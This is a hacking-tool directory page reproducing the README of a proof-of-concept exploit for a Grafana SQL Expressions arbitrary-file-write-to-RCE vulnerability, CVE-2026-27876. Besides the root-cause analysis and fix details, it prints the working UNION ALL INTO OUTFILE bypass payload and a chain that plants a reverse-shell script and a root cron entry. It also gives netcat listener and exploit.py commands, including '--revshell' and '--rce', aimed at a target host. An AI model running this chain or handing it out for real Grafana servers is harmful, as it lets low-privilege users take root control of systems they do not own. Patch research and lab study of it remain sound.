Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27876 — Grafana SQL Expressions Arbitrary File Write to RCE | Kitploit
Tools/GitHubGitHub/atiilla/cve-2026-27876
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana SQL Expressions Arbitrary File Write to RCE

View Repository
721 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27876: Grafana SQL Expressions Arbitrary File Write to RCE

CVSS 9.1 Critical | Arbitrary File Write | Remote Code Execution

Demo

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

Summary

Grafana's SQL Expressions feature (sqlExpressions toggle) uses an in-process SQL engine (dolthub/go-mysql-server) with a flawed AST allowlist. The SetOp node (UNION ALL) passes validation and its walkSubtree() does not traverse the Into child — allowing INTO OUTFILE to write arbitrary files to the server filesystem as the Grafana process user.

Any authenticated user (Viewer role or higher) can chain this to full RCE via cron-based reverse shell.

Affected Versions

Download Tool
RangeAffectedFixed
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

Requires sqlExpressions feature toggle to be enabled.

Root Cause

Two compounding flaws in pkg/expr/sql/:

  1. parser_allow.go: allowedNode() uses a named return b = true. The *sqlparser.SetOp case returns true (allowed), and SetOp.walkSubtree() does NOT traverse the Into child node. This means UNION ALL ... INTO OUTFILE bypasses the allowlist entirely.

  2. db.go: The SQL engine context is created without WithDisableFileWrites(true), so INTO OUTFILE writes to disk.

Bypass Syntax

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

A single (SELECT ...) INTO OUTFILE produces a ParenSelect node which IS blocked. Two or more SELECT parts joined with UNION ALL produce a SetOp node which bypasses the check.

Exploit Chain

root@kitploit:~
1. Authenticate (Viewer role sufficient)
2. POST /api/ds/query with __expr__ datasource, type "sql"
3. UNION ALL INTO OUTFILE writes reverse shell script to /tmp/
4. Second write places cron entry in /etc/crontabs/root
5. Cron fires within 60 seconds -> reverse shell as root

Usage

Lab Setup

root@kitploit:~
cd lab/
docker compose up -d
# Wait for Grafana to be healthy (~15s)

Grafana runs on http://localhost:3333 with credentials admin:admin.

Run Exploit

Terminal 1 — Listener:

root@kitploit:~
nc -lvnp 4444

Terminal 2 — Exploit:

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

Reverse shell lands within 60 seconds.

Other Modes

root@kitploit:~
# Check if target is vulnerable (no writes)
python3 exploit.py -t http://TARGET:3000 --check

# Write arbitrary file
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# Write local file to target
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# RCE via datasource provisioning (no cron needed)
python3 exploit.py -t http://TARGET:3000 --rce

Cleanup

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

To re-run the exploit after a previous run, clean up first — INTO OUTFILE cannot overwrite existing files.

Fix

Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):

  1. parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go: case *sqlparser.Into: return v == nil
  3. db.go: mysql.WithDisableFileWrites(true)

Files

root@kitploit:~
.
├── README.md
├── analysis.md              # Full root cause analysis
├── lab/
│   ├── docker-compose.yml   # Grafana 12.4.0 lab (confirmed)
│   ├── Dockerfile           # Custom image with cron support
│   ├── entrypoint.sh        # Starts crond + Grafana
│   └── setup.sh             # Auto-setup script
└── poc/
    ├── exploit.py           # Full PoC with RCE
    └── cvss-justification.md

References

  • Fix: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR: https://github.com/grafana/grafana/pull/121514
  • Advisory: https://grafana.com/security/security-advisories/cve-2026-27876/

Disclaimer

For authorized security research and controlled lab testing only. Do not use against systems without explicit permission.